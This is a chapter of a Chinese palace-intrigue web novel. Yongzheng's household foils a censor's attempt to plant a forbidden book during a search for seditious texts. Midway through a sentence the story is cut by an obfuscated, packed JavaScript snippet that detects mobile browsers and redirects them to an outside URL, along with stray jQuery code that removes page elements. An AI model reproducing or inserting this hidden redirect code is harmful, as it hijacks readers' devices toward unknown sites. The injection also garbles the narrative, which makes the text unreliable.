弘历满月虽未大肆铺张宴请宾客,可宗室、朝中官员、地方心腹听闻王府添丁,络绎不绝差人送来贺礼。大大小小礼盒自仪门一路堆叠至外库房,琳琅满目。
乌拉那拉氏连日心力交瘁。自钮祜禄氏生产,她日日调度府中琐事,操持满月一应事宜,而后弘历突染天花,全府人心惶惶,她昼夜不敢安寝,直至弘历脱离危险,眼下一片浓重青黑,早已撑不住,便吩咐贴身丫鬟青禾,将所有礼册逐一登记,贺礼尽数安置在外库房,暂且封存,等弘历病情安稳,府中诸事平息之后,再慢慢清点核查。
日子一日日缓缓淌过。御医日夜轮番值守,汤药不曾间断,钱晚柠亦是一日三餐精心照顾奶娘,待到第三日清晨,弘历身上热度彻底褪去,痘疮不再继续蔓延,脉象趋于平稳,才算闯过凶险一关。全府上下悬着的心稍稍落地,可谁也未曾料到,危机已然叩响雍亲王府大门。
正午时分,前院传来管事急促的通传声,语气里藏着难以掩饰的慌乱。
“王爷,都察院官兵围了王府大门,带队的御史王承命,说是奉旨前来搜查!”
胤禛彼时正坐在暖阁,拿着御医呈上的脉案仔细阅览,闻言指尖一顿,缓缓将纸张搁置桌案。窗外秋风卷起落叶,扑在窗棂上簌簌作响,他眉宇间寒意渐生,起身大步向前厅而去。
钱晚柠正巧前来暖阁寻他,听闻消息,心头骤然一沉,紧随胤禛身后同行。
前厅之内,数十名身着差役服饰的官兵分立两侧,甲刃森然,气氛凝滞。为首官员王承命一身青色补子官袍,面色端谨,眼神却不停四下扫视,正是奉旨协办《南山集》案清查事宜的御史。近期文字狱风声日紧,各地官府奉命搜缴悖逆书籍,但凡稍有牵连,轻则流放,重则株连族人。如今此人直接闯入皇子府邸,其中意味,耐人寻味。
胤禛立于主位,脊背挺直,周身威压沉沉,目光直逼王承命:“王御史奉旨搜查本王府邸,敢问搜查谕旨何在?若无圣上亲笔谕令,擅闯亲王府邸,可知罪责?”
王承命上前半步,拱手行礼,语气不卑不亢,暗藏锋芒:“四阿哥明鉴,下官确是奉圣上密旨行事。如今《南山集》一案牵连甚广,京中大小宅邸皆需排查禁书,若无圣上口谕,下官纵有天大的胆子,也不敢贸然踏入雍亲王府。”
一句话堵死胤禛反驳余地。康熙密旨往往并无白纸黑字文书,只凭口传,无从核验。胤禛心中清楚,此刻强行阻拦,反倒落得心中有鬼、抗拒清查的口实,落入旁人圈套。
他沉默片刻,缓缓颔首:“既然是皇阿玛旨意,本王自当遵从。”随即侧首吩咐,“府中女眷、下人尽数退回内院,不得随意走动。”
众人正要各自退避,钱晚柠忽然向前踏出一步,声音清浅却清晰传入所有人耳中:“王府院落广阔,分东苑、西苑、外库、内园数十处屋舍,道路纵横交错。王御史一行人初次前来,难免迷路,若是无意间闯入女眷居所,于礼不合。不如让王府侍卫洪舟携侍卫们引路,全程陪同诸位搜查,免得生出误会。”
胤禛侧目望向钱晚柠,二人目光相撞。钱晚柠极轻地朝他点头,眼底藏着一丝警醒。胤禛瞬间读懂她的用意,淡淡开口:“便依晚柠所言。洪舟。”
“奴才在!”洪舟快步出列。
“你陪同王御史一行人搜查各处,寸步不离,仔细引路。”
洪舟心中透亮。王爷与年福晋这一番安排,哪里是引路。洪舟身为胤禛心腹侍卫,全程跟随,便是提防这群官兵暗中动手,夹带禁书,就地栽赃雍王府。九子夺嫡愈演愈烈,如今恰逢《南山集》大案,只要在王府搜出悖逆文字,胤禛将深陷泥潭,再难翻身。
“奴才谨记吩咐!”洪舟沉声应下。
王承命神色微变,显然未曾料到有人会提前设防,短暂迟疑之后,只得勉强一笑:“侧福晋思虑周全,那就有劳洪侍卫。”
一行人跟着洪舟转身离开前厅,从王府最里面开始搜寻。钱晚柠望着众人远去的背影,心头沉甸甸的。
胤禛走到她身侧,悄然握住她微凉的手掌,低声道:“你察觉到不对劲?”
“防人之心不可无。”钱晚柠压低声音,“如今夺嫡纷争不休,各方势力无所不用其极。《南山集》案风声正紧,此刻前来搜查,时机太过蹊跷。”
半个时辰缓缓流逝,外库房方向传来杂乱的翻找之声,而后渐渐归于安静。又过许久,洪舟陪着一众官兵穿梭庭院,搜查花园、书房、外客居所,四处翻查,却始终一无所获。
王承命面色愈发难看,原本笃定的计划落空,根本没搜到禁书。他又打算趁乱将禁书藏于府中,人赃并获,奈何洪舟步步紧随,目光片刻不离一众差役,没有半分可乘之机。几番周旋无果,王承命再无借口逗留,只能带着官兵悻悻离开雍王府。
待府门重重关上,紧绷的气氛终于稍稍松弛。
不多时,洪舟快步踏入暖阁,躬身禀告方才情景:“王爷,那王御史一行人在堆放贺礼的区域徘徊最久,反复翻看各处礼盒,心思全然放在贺礼之上。奴才假意闲谈,笑问御史大人是搜禁书还是查贪腐,王承命神色骤然慌乱,刻意岔开话题,之后才带人去往别处胡乱搜查。依奴才看,他们本就打算在贺礼之中动手。”
胤禛指尖轻轻敲击桌沿,眸色深沉:“贺礼五花八门,来自各方人等,最容易动手栽赃。若是方才无人紧盯,今日便是一场弥天大祸。”
话音未落,钱晚柠抬手伸入宽袖之中,取出一册装帧古朴的线装古籍,轻轻放置桌面。书页泛黄,封皮无题名,纸张边角微微磨损。
“四爷,您且看此物。”
胤禛俯身拿起书卷,翻开几页,目光扫过文中字句,脸色骤然沉下。书中多处记叙明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780500|206116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
末旧事,行文之间尊崇南明政权,言语多有贬斥清廷之语,正是当下朝廷严令追缴的禁书《江樵野录》。一旦被官府搜出,便是无可辩驳的大逆罪证。
“这书从何而来?”
“今早我经过库房,恰好撞见青禾整理贺礼。诸多礼盒杂乱堆放,我随意翻看清点,在年熙送来的礼盒夹层之中,寻到了这本《江樵野录》。”钱晚柠缓缓道来,“年熙以年家名义前来恭贺弘历满月,礼盒表面是上好文房四宝,夹层暗藏此书。想来他早有预谋,借送礼之机,将禁书送入王府。再暗中通风报信,引来都察院官兵搜查,人证物证俱全,一举构陷四爷。”
胤禛指尖摩挲着粗糙书页,心底寒意丛生。
年羹尧已然依附自己,可年熙暗中投向十四阿哥胤禵,父子二人立场相悖。年熙此举,不仅仅是针对雍王府,更是想借着文字狱大案,挑起皇帝猜忌,让胤禛深陷谋逆嫌疑。一旦事发,不仅胤禛遭受重责,年羹尧也会受到牵连,进退两难。十四阿哥便能坐收渔翁之利。
“好一招借刀杀人。”胤禛低声感慨,抬眼看向身侧的钱晚柠,眼底翻涌着动容,“若不是你今日细心,提前发现此书。方才王承命一行人进库搜查,一旦寻出这本禁书,百口莫辩。晚柠,你真是本王的福星。”
钱晚柠轻轻摇头,眉宇间不见半分欣喜,反倒萦绕一层忧虑:“只是躲过这一回,往后未必彻底太平。年熙既然敢迈出这一步,便不会就此收手。十四贝子一方,必定还会伺机寻其他破绽。眼下太子与皇上嫌隙日深,朝堂暗流汹涌,《南山集》一案持续发酵,文网密布,我们行事,万事都要加倍谨慎。”
胤禛放下书卷,伸手将她揽入怀中,声音低沉安稳:“不必忧心。此物掌握在我们手中,便是把柄。年熙自作聪明留下破绽,迟早要为此付出代价。洪舟。”
“奴才在。”
“将这本《江樵野录》妥善封存,严加保管,不得让任何人知晓。另外,即刻派人暗中盯紧年熙一举一动,记录他往来之人、出行踪迹,随时回禀。库房所有贺礼重新彻查一遍,但凡年熙送来的物件,单独封存看管。”
“奴才遵令!”洪舟领命退下。
暖阁之内只剩下二人,窗外秋风萧瑟。钱晚柠靠在胤禛肩头,心中思绪万千。她清楚历史走向,明白九子夺嫡最终惨烈的结局,眼前一桩桩阴谋接踵而至,八爷党、十四爷党轮番出手,步步紧逼。前路遍布荆棘,她唯有守在胤禛身侧,竭力帮他避开一处处陷阱。
胤禛似是察觉到她心底郁结,抬手轻轻抚过她的发丝:“又在胡思乱想?”
“只是觉着,这条路太过难走。”钱晚柠轻声叹息,“稍有不慎,便是万丈深渊。”
胤禛收紧手臂,将她拥得更紧,声音坚定:“有你在旁,本王便不惧任何风波。纵是刀山火海,我也定然护你周全。”